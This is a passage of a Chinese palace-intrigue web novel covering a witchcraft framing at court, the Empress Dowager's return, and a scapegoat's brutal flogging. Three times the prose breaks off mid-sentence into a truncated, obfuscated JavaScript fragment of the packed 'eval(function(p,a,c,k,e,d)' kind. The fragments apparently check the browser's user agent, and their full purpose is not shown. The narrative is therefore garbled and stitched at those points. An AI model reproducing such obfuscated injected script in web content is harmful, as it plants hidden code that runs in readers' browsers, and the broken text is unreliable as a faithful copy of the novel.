元韫浓圆了场,给了个台阶,白翩飞心中却并不高兴。 她看着元韫浓的脸,暗自恼恨。 元韫浓和郑女幼这两个人,一唱一和的,真是让人讨厌得紧。 慕水妃也不是什么好东西。 偏偏慕水妃和元韫浓一个是慕湖舟亲妹妹,另一个是表妹。 皇后既然属意于她做三皇子妃,明面上她不好跟这两人撕破脸。 而且她觉得,皇上好像并没有让她成三皇子妃的打算。 难道岐国公府也打算出个皇子妃? 白翩飞越想,越觉得有理。 国公府一门三女,个个待字闺中,谁知道其中哪个有没有这野心呢? 她得想想…… “花草也斗完了,我们不妨去前边瞧瞧?我听说郎君们在前头比箭艺呢。”白翩飞含笑道。 郑女幼嗤笑了一声:“我们只知道他们在作诗对谈,什么时候去比箭艺的,除了**可没人知晓。” 见郑女幼暗讽她心思多,关注皇子动向,白翩飞咬着牙,皮笑肉不笑,“看来是郑小姐消息不灵通。” “自然比不上**。”郑女幼回敬。 其余人瞧出二人间的暗潮汹涌,连忙道:“说得也是,左右待在这里也无事可做,不如去前边玩吧?” “是啊,比起骑射,我们也不见得输那些郎君多少。” “他们没几个是武将,有几个怕是连我都不如。” “哈哈哈哈,比你还不如的,那倒确实是少见。你那水平,也就趴马上转两圈。” “你少笑话我。” 一群人谈笑着走向前头。 世家子弟们应是做了什么赌约,正在比试箭艺。 几位皇子身边围了不少人。 裴令仪一人孤零零地站在角落,抬手放矢。 连箭靶都没挨着。 周围爆发出一阵嘲笑声:“哈哈哈哈哈!” “连靶子都没挨着,真不知道怎么好意思拿箭的?” “放到战场上,还没开打呢就能让对面笑掉了大牙。” “君子六艺他怕是样样不精吧?” 听着耳边的奚落和嘲笑声,裴令仪没有什么表情。 他漫不经心地瞄准靶子边缘,这一箭擦着边飞过。 “继续努力吧清河王殿下,说不准再练几次,就能挨着靶了哈哈哈哈!”他们更肆意地嘲讽。 裴令仪看向完好无损的箭靶,眼底古井无波。 觉察到又脚步靠近,他稍稍蹙眉,转头看见元韫浓近在咫尺的侧脸。 “射箭而已。”元韫浓面色如常地托着裴令仪的手臂抬高,“阿姊教你。” 元韫浓鸦青色长睫轻颤,眸色冷淡,玉色轻明。 她轻勾起唇角,指导道:“肩要如山平,手要弯如月,箭要准如鹰。” 裴令仪不自觉依照元韫浓的话去做,松开指掌。 箭矢倏地破空,正中靶心。 “应怜不失为是个好老师。”慕湖舟走近,称赞。 元韫浓笑而不语。 慕水妃看着元韫浓笑,“是呀,令仪准头一下子就好了不少。” 沈川玩笑称是:“看来我也得寻个日子,好好找韫浓请教才是。” 裴令仪的视线落在沈川身上片刻,放下了握着弓箭的手。 他低垂着眼眸,没人看清他眼底的情绪。 抬起脸时,他又是往常那般寡言且温和的模样。 白翩飞扯动嘴角,“元四小姐这本领是好,清河王原先连箭靶都挨不着,这么教了两句,居然能射中靶心了。” 众人闻言,也起了心思,疑心是裴令仪藏拙,打量起了他。 郑女幼上下打量了裴令仪一眼。 再看看元韫浓,元韫浓面色未变,可郑女幼觉得她是生气了的。 “既有这本事,该去当总教头才是,可怜是个女儿,困于闺阁之中。”白翩飞故作惋惜地拿团扇遮了一下唇角的笑。 慕湖舟微微蹙眉,“**。” 白翩飞仰头看向慕湖舟,“三皇子,难道臣女说得不对吗?” 慕湖舟正欲开口,却被元韫浓抢了先。 “**言之有理啊。”元韫浓似笑非笑,“那**快快去求了陛下,叫我别当这郡主了,去当禁军总教头才好呢。” “满口胡言。”一道苍老的声音从身后传来。 元韫浓身形一僵。 众人立刻转身行礼:“叩请太后圣安,陛下万安,娘娘懿安!” 太后、惠帝和皇后三人不知何时而到。 看来这些年太后在龙泉寺的清修并没有养得太好,年迈消瘦,颧骨高耸,华服在身上像是都快要把她压垮了。 她阴森道:“哀家离宫这么多年,你是一点规矩都没学会。这郡主若是不想当,也没人逼着你当。” “朝荣知错。”元韫浓低垂眼睛。 她攥紧了手心,真该死,太后怎么还提前回来了? 是因为她救下裴令仪,刺激皇后太多了吗? 太后走近,掐着抬起元韫浓的下巴,“多年不见,朝荣越来越漂亮了,很像你母亲。” 太后没摘护甲,再加上她很用力,錾花玳瑁护甲压在元韫浓下巴上生疼。 元韫浓垂着眼,如同人偶般乖巧地供太后看,不给太后再挑错的机会。 她那张好皮相是动人,月相比欠皎洁,梅相较输暖色,明珠玉相。 “还真是天人之姿。”太后冷笑,松开了手。 元韫浓眉心微蹙,眉如远黛,恰似春山含翠,不浓不淡。 眼尾睑下一颗细小的泪痣更显楚楚可怜。 下巴上被压出了红痕,有些肿,甚至渗出了细小的血珠。 “太后谬赞。”她垂首道。 她身后的裴令仪悄无声息上前一步,托住元韫浓。 裴令仪脚尖稍挪了一步,又被元韫浓不动声色地拦住。 这时候逞什么一时意气? 真论起来,太后是君,他们是臣,无论如何都不会有理。 更何况太后在前朝后宫都有瓜葛相连,根深蒂固,难以撼动。 不然为什么连惠帝这种人都不敢违逆太后? 惠帝能当上这皇帝,太后功不可没。 谁都知道太后不喜惠贞长公主和朝荣郡主母女。 白翩飞瞥了一眼元韫浓,压下嘴角的窃笑。 太后回宫,她倒是要看看元韫浓还如何神气? 太后目光如刀,环视四周,“昔日哀家远在龙泉寺,管不了那么多,但如今哀家回来了,眼里可容不得一粒沙子。” “母后教训的是,我等必然谨遵教诲。”皇后笑道。 太后嗯了一声,目光落在了白翩飞身上,“这就是白家的二小姐吗?” 白翩飞连忙越众而出,盈盈一拜,“臣女白翩飞拜见太后。” “不错。”太后面色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕湖舟稍微松了口气,“多谢皇祖母。” “湖舟有自己的主意,儿孙自有儿孙福,皇后就别总看着他了。”惠帝终于开了第一句口。 他这话其实是对太后说的,只是不好驳斥嫡母,只能对皇后说罢了。 他可不希望慕湖舟娶白翩飞为妻,将这朝堂上的党派划分得如此分明。 皇后只能咽下这口气,勉强笑:“是。” 太后的脸色愈发不好看起来。 “哀家来京路上听闻,京中风靡巫蛊之事,百姓们皆以巫术治病。国之根本,怎可信这些污秽之事?”太后看向惠帝。 元韫浓心中一凛。 太后居然现在就提起此事了? 这样看来,这幕后推手就是太后和皇后。 难怪那些店家闭口不言,太后人还没回京,就已经在操纵此事了。 这事刚露出苗头的时候,她就敏锐地察觉到了异样。 一番暗自留意,得知皇后亲信在宫中频繁穿梭,行踪鬼祟。乃至于和岐国公政见不合的臣子频繁往来,甚至其中有张家、吕家。 她试图利用埋在宫中的几处眼线找出破绽,收集情报,提前布局化解危机。 但个人的力量还是薄弱的,她重生而来布局尚浅,根基薄弱,对方的手段却极其隐蔽,每一步都很精准。 她搜集的消息还是寥寥无几。 是她自视过高,过于依赖前世的记忆了。元韫浓闭了闭眼。 可是如今,全然不同。 她手里的那些证据,顶多只能把惠贞长公主摘出去。 可这些还得看惠帝的态度,太后在这里,惠帝还会偏袒惠贞长公主吗? 元韫浓悄声看向惠帝。 惠帝略显讶异:“京中怎会有此事?朕必然严查不贷。” “皇帝但凡派个人出去问问,就知道医馆门前冷落车马稀,倒是那些巫女,走街串巷,装神弄鬼。”太后道。 惠帝转头示意身边的人去查。 元韫浓精神紧绷,这是一点余地都不留了。 第17章 巫蛊案 前边那些臣子们听了消息就赶来,匆忙给太后、惠帝和皇后问安。 “诸位卿家在此处稍候片刻吧。”太后冷笑,“哀家离京太久,有些人便无法无天,连巫蛊之术都敢沾。” 惠贞长公主已经瞟见了元韫浓下巴上的伤,连忙心疼地捧着她的脸查看。 岐国公皱眉,“太后娘娘何出此言?” 太后挥了一下手,立即有人摆上座椅。 太后率先坐下,“都坐吧,皇帝既然已经派人去查了,很快便可见分晓。” 众人一头雾水,却又被这风雨欲来的架势整得心慌。 太后积威已久,当初没她,惠帝也当不上皇帝。 宫中朝中,她说一不二。直至多年离宫修行前,她还在垂帘听政。 要是换了个皇帝,这么多年,这大好机会必然会大刀阔斧铲除太后势力,但偏偏这个皇帝是惠帝。 太后如今这一回京就开始肃清朝政,叫他们这些做臣子的,连体面话都来不及说上两句。 皇后连笑都真心实意了起来,“看茶。” 太后回宫,她也是有靠山了。 侍者们为臣子们上茶,但在座之人没几个有心思喝茶,都在等待惠帝心腹的查问结果。 春日暖煦的阳光倾洒在金明池上,仿佛披了一层金色的薄纱。 春光熙和,却暖不了元韫浓半分。 她手脚冰凉,糕点甜腻的香气、茶水的醇厚还有花香交织在一起弥漫宫中。 元韫浓心不在焉地握紧了茶杯。 元彻回用眼神询问她,她对着元彻回摇了摇头。 元蕴英瞪了一眼元韫浓,似乎是责怪她又生事端。 没有人说话,所有人都低着头眼观鼻,鼻观口,口观心。 这场巫蛊案的阴霾笼罩下来,压抑得仿佛空气都凝固了。 直到惠帝的心腹领着禁军,绑了一群巫女服饰的人过来。 那些巫女一见天颜,就哭嚎着跪下求饶。 “闭嘴!”惠帝心腹先呵斥了她们,再回禀道,“臣已经查明民间巫蛊盛行是有人做暗中推手机。” 惠帝问:“谁?” 心腹犹豫片刻,“相关之人口供,说是受惠贞长公主指使。” “好哇,惠贞,你身为长公主居然带头行使巫蛊之术,究竟成何体统?你眼里还有陛下吗?你真的将南朝的律法放在眼里吗!”皇后拍案而起,怒声呵斥。 惠贞长公主不可置信地站了起来,神色冷凝道:“本宫从未做过此事,家中无人生病,本宫又何故启用巫蛊之事?” “皇后。”惠帝皱眉,“此事尚未彻查,不要敲棺定论。” 太后却说:“皇帝,兹事重大,可不能坐视不管。” 惠帝面色阴沉,还未等他开口,元韫浓先跪了下去。 “兹事重大,不敢蒙求陛下不查而信,只是母亲自我诞生之后便一直信仰佛祖,又怎会信奉巫蛊?还望陛下彻查此事,还我母亲清白。”她说。 因她体弱多病,惠贞长公主开始信奉神佛,国公府中还有她专门的佛堂。 这件事情人尽皆知。 惠帝点头,“言之有理。” 惠贞长公主瞥了一眼皇后,说:“惠贞与国公向来恪守规矩,从无逾越,一心效忠陛下。不过几人口供,却无实据,难以信服。” 惠帝沉吟片刻,便叫人当众审问那些巫女。 巫女们挨个抬起头来,叫众人呼吸一顿。 这些姑娘容貌身形各不相一,偏偏都是眼睑下一颗泪痣。 众人不约而同地将目光落到了元韫浓身上。 京中贵女有名的,又在这位置生了颗泪痣的,无非就是元韫浓。 元彻回转头瞪了一眼裴令仪。 若不是裴令仪,哪来的那么多事端?元韫浓也不至于这么多灾多难,给旁人漏了破绽。 皇后立刻就说:“惠贞,你还有什么可辩的?” “皇后这话说得好笑,就凭这些人的相貌,就可以定论是我所为吗?”惠贞长公主嗤笑。 “谁人不知朝荣近日祸事连连?先是大病一场,如今又摔伤了手,你爱女心切,为朝荣康健沾染巫蛊之术也未尝不是一件合理的事。”皇后指了指元韫浓。 惠贞长公主拧眉,“就算本宫为了应怜碰了巫蛊之术,又何故广集眼下有泪痣的巫女?简直不知所谓,这分明是有心之人为了将此事扯到本宫身上所设的局。” 皇后冷笑:“巫蛊之术玄之又玄,污秽不堪,怎知不是你听信了什么鬼神之说?” “既如此,臣便请陛下定夺,还我元氏与长公主一个公道。”岐国公跪地。 太后也施压:“皇帝,早做定夺。” “陛下,此事疑点重重,必有蹊跷,分明是有人想要栽赃陷害母亲,加害于国公府。”元韫浓说。 太后不紧不慢用茶盖刮了茶沫,“既各执己见,为还岐国公一个公道,皇帝不如派人去搜查国公府,一查便知分晓。” 完了。 元韫浓握紧了手,未好的伤口被压出了血。 太后这状似公正的模样。 元韫浓几乎都能预想到后面的事情,府中必然会搜查出巫蛊人偶之类的东西,到时候可就真百口莫辩了。 “是啊,陛下不如遣人去看看,若真是冤枉了国公府,那可得好好补偿岐国公。里里外外,上上下下,可得查清楚了。”皇后笑里带有讽刺。 “彻查便要搜查国公府吗?这是以彻查之名,行抄家之事。”元韫浓辩斥道。 在皇后发作之前,她先跪下了,“陛下,父母亲对陛下忠心不二,若是蒙受此辱,日后如何得以服众,如何面对同僚?” 她眼中噙着泪水,欲落不落愁煞人,眼眶泛红,仿佛受了天大的委屈似的。 无论惠帝是否要清查,无论能否查出东西,至少得显得此事并非国公府所为。 太后隐含警告地提醒:“皇帝,这不止是家事,更是国事。” 惠帝面色沉郁,片刻之后,道:“搜查国公府。” “陛下!”惠贞长公主看向惠帝,尽是失望与倦怠。 “皇姐,太后所言非虚,这不仅仅是家事,更是国事。”惠帝回避了与惠贞长公主的对视。 姿态已经做足了,左右太后皇后在这里,是拦不住这搜查了。 至少东西搜出来,惠帝也会因为此刻他们的态度而心存疑虑,不会全信。 元韫浓闭了闭眼,抬眸含泪道:“清者自清,既然如此,还请陛下派人仔细搜查,务必还我父母亲一个清白。” 众人目目相觑,难免觉得皇后咄咄逼人。 心下更是起疑,这恐怕只是针对罢了。 毕竟惠贞长公主和皇后也不知从何起因,似乎是积怨已久。 太后党和岐国公更是**上的斗争,各执己见。 “委屈了爱卿。”惠帝点头看着岐国公。 岐国公只好拜谢帝王。 众人只能继续坐等答案,一言不发,只顾低头喝茶。 惠贞长公主眉头紧皱,神色憔悴,满心忧愁如潮水般翻涌。 没有任何消息,太后突如其来回京,又布下这局,打得人猝不及防。 既然太后会主动开口,请惠帝搜查国公府,那必然国公府里已经藏了什么,或是有人背主投敌。 她自幼在宫廷的明争暗斗中耳濡目染,生母早亡,在惠帝被过继给太后之前,偌大的皇宫里,都是她竭尽所能地照顾惠帝。 他们曾经相依为命。 只是惠帝…… “母亲。”元韫浓握住惠贞长公主的手,神色镇定,无声地安抚。 惠贞长公主望向元韫浓,目光动摇,轻叹一声。 元韫浓纤细的手指轻轻抚过母亲的手背,绣着繁复花纹衣袖压得她愈发纤瘦。 她轻声道:“事已至此。” 事已至此,只能尽量止损。 裴令仪沉默地将这一幕收尽眼底。 元韫浓符合高门贵女的行为举止,言行举止很少出错,看似柔弱,实则心思深沉,手段狠辣。 他从很早开始就明白元韫浓是怎么样一个人,和他一样的人。 但又截然不同。 漫长的等待过后,果不其然,一个被扎满了银针的巫蛊人偶被送到了众人眼前。 人偶被呈到太后和皇帝面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪怕他为了打压国公势力,顺势而为,也不会太过。 “你们想借此蛊惑陛下脱罪?简直痴心妄想!”皇后柳眉倒竖,声音尖锐,“陛下,他们犯下此等大罪,绝不能轻饶!” 太后也在一旁附和了两句:“国有国法,家有家规。” 她眼神中透着久经岁月沉淀的威严与狠厉,“皇帝,巫蛊是大罪,关乎国运,不能轻饶。” “陛下,今日若是揭过,上行下效,日后必定成为大患。”慕载物的外公张大人上前。 惠帝神色复杂难辨。 他闭眼,回想起儿时与惠贞长公主一同在深宫中挣扎求生的过往。 在他被过继给太后前,一直和长公主相依为命。 那是唯一一段拥有温情的日子。 他曾经向姐姐发过誓,等他成了亲王,他一定会把姐姐接出宫来过好日子。 可他最后成了皇帝。 他也确实给了惠贞长公主荣华富贵,给了地位和体面。 可元氏在朝堂上的势力日益庞大,党羽众多,早已让他心生忌惮,视为心头大患。 或许这次巫蛊案真的和他们无关,可太后和皇后步步紧逼,朝中各方势力暗流涌动,局势错综复杂,牵一发而动全身…… 他得为江山社稷考虑,也得为自己考虑。 局面僵持不下。 本不应该掺和进来的慕湖舟上前拱手道:“父皇,此事尚未查清,若此时定论,恐怕伤了忠臣之心。” 元韫浓看向他,他神色诚恳,眼中隐约含有焦急与担忧。 沈川同样跪地,“望陛下重审此案。” “父皇,国公府向来忠心耿耿,怎会做出此等大逆不道之事?父皇明鉴。”慕水妃也行礼请求。 元韫浓略有动容。 他们本都可以不置身其中的,甚至没有必要,因为他们此刻的话改变不了惠帝的主意。 明明是无用功,可他们还是站出来了。 第18章 替罪 太后和皇后自然不会善罢甘休。 皇后脸色一沉,怒声道:“有你们什么事情?什么场合?像什么样子!” “母后息怒。”慕湖舟低头认错。 皇后被这逆子气得不轻,“湖舟,你不过是被一己之私蒙蔽了双眼,感情用事罢了。这关乎江山社稷,可容不得半点差错。” 太后冷冷地瞥了他们一眼,颇为头疼。 没一个省心的,但凡有一个争气,何至于叫她一把年纪了还要为家族筹谋? 她道:“皇帝,可不能被这些小辈的话扰乱了心智,他们尚未历经磨砺,你可是帝王。” “谨遵母后教诲。”惠帝不得不低头。 “嗯,当断则断,不要犹豫不决。”太后点头。 吕大人也趁机发难,上前拱手,“陛下,长公主同郡主平日里行事张扬,铺张浪费,底下早已有怨言。” “此次巫蛊案证据确凿,要是再不加以严惩,恐怕难以服众。”他表面上一副忧国忧民的神情,嘴角却闪过一丝得意。 太后在朝中势力庞大,根深蒂固。 反正他们吕家跟元家已经结了仇了,还不如趁此机会做个投名状。 惠帝下定主意,“既然如此,那……” 元韫浓抬头等待惩罚的结果。 偏偏自始至终一言不发的裴令仪在此时越过一众人,站到元韫浓前面。 “清都……”元韫浓下意识要拉他。 裴令仪微微侧过身,避开元韫浓的手。 他的视线在元韫浓手上似乎又开始渗血的细布上短暂地停留了片刻,又与元韫浓对视。 沉静的眼睛,如同墨砚水般,死水微漾。 “陛下,此事与国公府无关,巫蛊人偶是臣所作。”他转过身,声音平稳。 “什么?”惠帝半眯起眼睛。 皇后直接从椅子上站了起来,“怎么可能?你不要妄想替他们顶罪!” “你在胡说什么?”元韫浓拽住裴令仪的手。 惠帝心知肚明此事多半就是陷害,不会罚得太重。 裴令仪这时候横加阻拦,一己承担罪名,那可不就是罚俸禄关禁闭什么了。 毕竟国公府是全府上下来承担罪罚,裴令仪可就只有这副躯壳。 裴令仪微微抬起头,目光坚定,“那个巫蛊人偶,是臣所做,但京中盛行巫蛊之风,仅仅是巧合。” 众人皆惊。 元韫浓微微皱眉,瞬间明白了裴令仪的意图。 “清都,你疯了?居然碰这些东西?”元韫浓佯装愤怒,眼眶却微微泛红。 她的双手不自觉地握紧,指甲嵌入掌心,留下月牙印,抑制住翻涌的情绪。 裴令仪望向元韫浓。 他既然可以做质子,那也可以做冲锋陷阵的棋子,无足轻重。 他还不想成为元韫浓的弃子。 太后眉头紧锁,“依你所言,你为何要咒害皇帝?” “太后明鉴,臣绝无此心。”裴令仪道,“这生辰八字不是陛下的,而是吕大人的。” “哦?吕爱卿,可是如此?”惠帝看向吕大人。 吕大人脸色一白,推了一把身边的吕世勋,二人齐齐下拜行礼。 “回禀陛下……臣确实同陛下生辰一样。”他怎么也没想到这茬上去。 裴令仪说:“先前之事,臣与吕氏结下仇怨,心怀不满,思来想去气不过,才犯下此等大错。这才连累了国公府,臣心中极为愧疚。” 裴令仪先前跟吕世勋一事闹得很大,元韫浓都跑去告御状了,几乎是人尽皆知的程度。 现在裴令仪又成了岐国公义子。 这么解释的话,裴令仪做出这样的事情也是合理。 今日之事带来的冲击还是太多了,众人面面相觑,净是震惊。 “荒唐,怎会有如此巧合的事情?”皇后咬牙道。 慕湖舟连忙道:“正是巧合,才证明所言非虚啊。不然清河王怎会知道吕大人的生辰八字同父皇一样?难道他还能提前知晓有这一劫难,早早做下准备?” 皇后总不能说因为这事是他们授意做的,绝无可能是裴令仪所为。 “陛下!”惠贞长公主看向惠帝,等待他的发落。 惠帝闻言,皱着眉暗自思量。 裴令仪如今也不能随意处置,他才刚刚封了裴令仪袭爵清河王,前朝那些暴民也才刚刚**下来不久。 要是处置不当,破坏了好不容易安定下来的局面。 若是往常也就算了,如今太后回了京城,再起异动,岂不是落人口舌好给太后把柄? 他也不能一下子叫岐国公元气大伤,他需要元家势力与太后对抗,不至于叫皇权旁落。 说到底,两家都是外戚。 沉吟片刻,惠帝道:“念清河王主动认罪,且证据尚存疑点,朕便从轻发落。” 他缓缓道:“裴令仪,鞭扑八十,禁足半年。惠贞长公主与岐国公,罚俸三月,暂不追究,但需自省。” “陛下……”皇后气恼他们费尽心思设下的局面,却是这么轻的责罚。 太后淡声制止:“皇后。” 皇后只能憋着股气,闭上了嘴。 皇帝已经下了旨,这时候再说什么,就算是为了脸面,惠帝也不可能改了。 何必再出声,去平添自己的嫌疑呢? “陛下,鞭扑八十?五郎甚至比应怜还小……”惠贞长公主于心不忍。 这是她第一次喊裴令仪五郎。 她没想过裴令仪会站出来,担下这样的罪责。 她纵使是不喜欢裴令仪,也不禁为此动容。 元彻回也没想过裴令仪会替罪,难免高看裴令仪几分。 “皇姐,诸事有误,实难宽宥。为正朝纲,朕不得不施罚。”惠帝风轻云淡地回绝了长公主。 他瞥了一眼裴令仪,“再者而言,敢碰巫蛊这种东西,朕不直接下令斩杀,甚至没用杖责,已经算是网开一面了。” 鞭扑八十,重伤可能会死,但总比杖责八十打断脊梁的好。 虽然他也想直接杀了裴令仪算了,但他不好那么做,也想要那个宽宏大度的名声。 惠贞长公主不好再多说什么。 裴令仪则是面色冷静,“谢陛下。” 沈川还想要说些什么,却被慕湖舟拉住了,摇了摇头。 “带下去。”惠帝抬了抬手。 立即有人上前去,一左一右架住裴令仪,就推搡着他朝外边走去。 在座的都是达官显贵,自然见不得那种血肉横飞的场面。 再说了,鞭扑得褪去上衣,这边还有不少女眷,自然看不得。 在场行刑就到后头不远,叫人能听见,但看不着。 元韫浓站在原地没动,跟裴令仪擦肩而过。 知道自己无能为力,半是真情半是假意,拿萱草色帕子擦着泪。 吕家父子暗自得意地笑了笑,能叫裴令仪吃些苦头也是好事。 吕世勋压低了声音:“父亲,我听闻这杖刑和鞭刑里头都有门道,这八十鞭该不会让裴清都轻飘飘就过去了吧?” “岂会那么便宜了他?”吕大人笑了一声,“刑部里头有太后和皇后母族齐家的人,不把裴清都打得半死就不错了。” 这下吕世勋可满意了。 他朝着张家的方向看了看,“我方才瞧见张大人跟身边人说话,怕是也找人去买通行刑吏去了。” “五皇子和裴清都结了仇,叫他们张家吃了那么个亏,此时不落井下石,就不是张开华那老头子的手段了。他身为五皇子外公,可是对着外孙宝贝得很呢。”吕大人哼笑。 吕世勋点头,“元应怜和裴清都结了那么多仇,这下都趁他病,要他命来了。” “可不是?”吕大人捋了捋胡子,“放心吧,我儿,断不会叫那竖子好过的。” 裴令仪被带到后头避开众人的眼睛。 刑官姿态傲慢,“清河王,请吧。” 裴令仪平静如水地褪去衣衫,裸露上身,双手搭在腿上,垂目等待。 刑官冷哼一声,一声令下,行刑吏将鞭子舞得虎虎生风。 长鞭带着呼啸的风声重重落下,瞬间在裴令仪背上撕开血口。 皮肉翻卷,鲜血溅出。 裴令仪闷哼一声,咬紧牙关,不让自己发出声音。 他知道如果自己痛叫出声,元韫浓能听得到。 元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴令仪脸颊上两道交错的血痕深刻在皮肤上,可见当时下的狠手。 伤成这样,若是留了疤,绝无科考入仕的可能了。 而今科考严苛,也是要看容貌的,有明显疤痕毁了容颜者,都不得科考。 元韫浓怒而转头,尖锐地质问行刑吏:“为何要伤了他的脸?” 悄悄兜远路来瞄一眼的吕大人,对着儿子啧啧称奇:“张开华这老东西,下手还真狠,直接叫人伤了裴清都的脸,毁了他科考的路子。” 吕世勋也有些骇然,“他都能想到这种主意……” “不科考,咱们这陛下又这么忌惮裴清都,在意他身份,他想要入朝为官只剩下做武将的路子了。”吕大人说。 “陛下也不会封他做武将吧?他想成武官,不得自己从兵营里混吗?”吕世勋愈发觉得裴令仪未来无望。 难道还指望岐国公举荐裴令仪做官,还被惠帝同意吗? “是啊,除非岐国公府能下狠心治好他脸上的伤。”吕大人和吕世勋离开这个是非之地,“不过我看他脸上那口子,想要完全不留疤,怕是也有点悬了。” 行刑吏在被慕湖舟逮着的时候就已经面如金纸,心虚不已。 再被元韫浓质问,立即就跪了下来,高喊:“三皇子饶命!郡主饶命!” “小人、小人记岔了数,一时失手,这才犯了错……”他绞尽脑汁,嗫嚅道。 “胡说八道!”元韫浓怒不可遏。 她厉声质问:“我一下下听着声数着,八十已到,何来的记岔了数?鞭声停了那么久,这会想起来了?再者而言,为何伤他的脸?一时失手就能从后面打到前面,还是脸面上?” 裴令仪脸上的血痂都凝住了,这显然是之前就在八十鞭里趁乱抽打到的。 而且说什么记岔了数?分明是打完之后受了张开华那老东西的贿赂。 行刑吏没想到还有人这样听着声细数打了几鞭子,汗如雨下。 第19章 咫尺千里 “阿姊……”裴令仪用气音轻声唤道。 元韫浓忙低下头,裴令仪的血把她身上的华裳都浸透了。 她跪坐在地上环抱着裴令仪,跟那会在雪地里护着裴令仪时一样。 可她现在这样没用什么力道,让裴令仪靠着她,裴令仪就已经被痛得打摆,面色苍白。 裴令仪身上没一块好肉,元韫浓都不知道怎么扶他,怎么抱他。 “清都?”元韫浓冰凉的手贴上裴令仪沾了血的脸庞。 裴令仪哑着嗓音问:“我是不是弄脏你的衣裳了?” 元韫浓摸到他脸颊上十字的血口,又缩了回来不敢碰,“这时候还管什么衣裳?” 刑官连忙赔着笑脸来打圆场:“这是底下新来的小吏,脑子不好使,二位贵主可莫要跟他计较了。” “不要计较?”元韫浓怒极反笑,“你说不计较就不计较了?我的清都被伤成这样,毁了仕途,你一句轻飘飘的不计较,就一笔勾销了?” 元韫浓少有的尖锐。 裴令仪伏在她肩膀上,因为痛楚轻轻发颤。 皮开肉绽,背上的伤口纵横交错,看着相当可怖。 “没事的、没事的……没事的阿姊,这时候别起事端……”裴令仪喃喃自语般说道。 “三皇子,我等也是奉命行事,奉旨行刑啊。”刑官见元韫浓说不通,立刻转向了慕湖舟。 慕湖舟眉头紧锁,“父皇叫你等处刑,何曾叫你们伤他脸面?若是真留了疤,他如何科考?” 刑官跪地,状似为难:“是我等无心之失犯下大错,还请二位贵主网开一面。” 元韫浓抬眸看向他,“我绝不会放过你们的。” 刑官被元韫浓的目光震慑了一下,没敢说话。 元韫浓深吸了一口气。 太后、皇后、齐家。张开华、慕载物、张家。吕大人、吕世勋、吕家。白翩飞、白家。 参与进来的,是敌非友。 早知如此,她还是该夺取权势的。 至于沈川,前尘往事,好歹是到手过了,此后再议吧。 她看向慕湖舟,姿态平和,“表哥,先帮我送清都回国公府吧。” “好。”慕湖舟扶着元韫浓的手臂,将她托起。 慕湖舟弯腰去扶裴令仪起来,没有在意裴令仪身上的血,又吩咐自己身边的侍卫来帮忙。 看着几个侍卫搀扶裴令仪的背影,慕湖舟又转头看向元韫浓,“我以为你会追究那二人。” “我说了,我不会放过他们的。”元韫浓语调温柔地说道。 她笑意盎然地看着慕湖舟,“倒是表哥,想来皇后娘娘是想要**做三皇子妃了。” 太后和皇后的心思并不难猜,明眼人都看得出来。 重要的是她不可能让白翩飞当上这三皇子妃。 既然万事都可能改变,她断然不可能把自己阵营的人彻底推出去,变成敌人。 万一今生有所不同,裴令仪当不成皇帝了,她也该早做准备。 “应怜。”慕湖舟无奈的笑了笑,“别打趣我了。” 他笑容中带有苦涩,“天家之子,婚事都由不得自己做主。” 见慕湖舟对于白翩飞并无什么心思,元韫浓弯了一下唇角。 元韫浓问:“**联姻也是有好处的,对于前途大有裨益。若是不喜欢**,表哥可是有什么心上人了?” “并无。”慕湖舟摇了摇头。 他叹息:“像父皇和母后那般,全无感情,彼此拖拽着终成怨偶难道很好吗?一桩姻缘,却毁了两个人,乃至于更多人。与其如此,倒不如从头就别开始。” “如同表哥这般想的人很少,多的是男子一面怨怪着自己的妻子,一面榨取妻子的价值,还故作清高地把自己摘出来。”元韫浓望着慕湖舟说道。 可她又觉得自己仿佛隔山打牛被打到了。 她和裴令仪在前世就是这样的怨偶。 那为什么他们之前还有拖拽着彼此继续往泥沼里坠下去呢? 明明只有松开手,他们彼此都能得到喘息。 “这时候还在夸我闹着玩。”慕湖舟苦笑,点了点元韫浓的额头。 元韫浓握住了慕湖舟点她眉心的手,含着笑直勾勾地望着慕湖舟,“表哥。” 慕湖舟微微一怔。 “我能帮你啊。”她眯着眼睛笑。 泪痣在她脸上,下巴上还沾了裴令仪的血,像是一颗剥了壳的鲜荔子,白腻的冻荔肉上留了一点点屑。 慕湖舟下意识伸出手,用拇指揩去元韫浓下巴上的血迹。 等回过神,他有些仓皇地收回了手。 他意识到是自己莽撞了。 元韫浓笑:“表哥哪日躲不过去了,推我到前头挡挡,也不是不行。” “胡说些什么呢?”慕湖舟耳根有些发烫,不自然地挪开了视线。 “我可是说真的呢。”元韫浓眨了眨眼,“像我这般心善的人,世间可是少有的。” 慕湖舟正要笑她,她却靠近了。 元韫浓凑近了压低声音,故意拖长了调子喊:“表哥——” 像是煮沸了的花蜜似的,湿淋淋一瓢挂在人身上,又甜又黏。 慕湖舟被她喊得心慌,本能地抬手捂住了元韫浓的嘴,制止她说下去。 元韫浓只露出一双琥珀般的眼睛,眨了眨,然后对慕湖舟笑。 慕湖舟再次缩回了手。 他把手负到背后,躲避元韫浓追究的视线。 “我可不喜欢**,不想她做表嫂嫂。”元韫浓笑吟吟地说。 “不会的。”慕湖舟跟元韫浓对视了一刹,再次回避了视线的交缠。 平复了心情,他又转过头对元韫浓笑了一下:“如果你不喜欢她。” 元韫浓翘起唇角。 * 裴令仪被送回了国公府清仪馆。 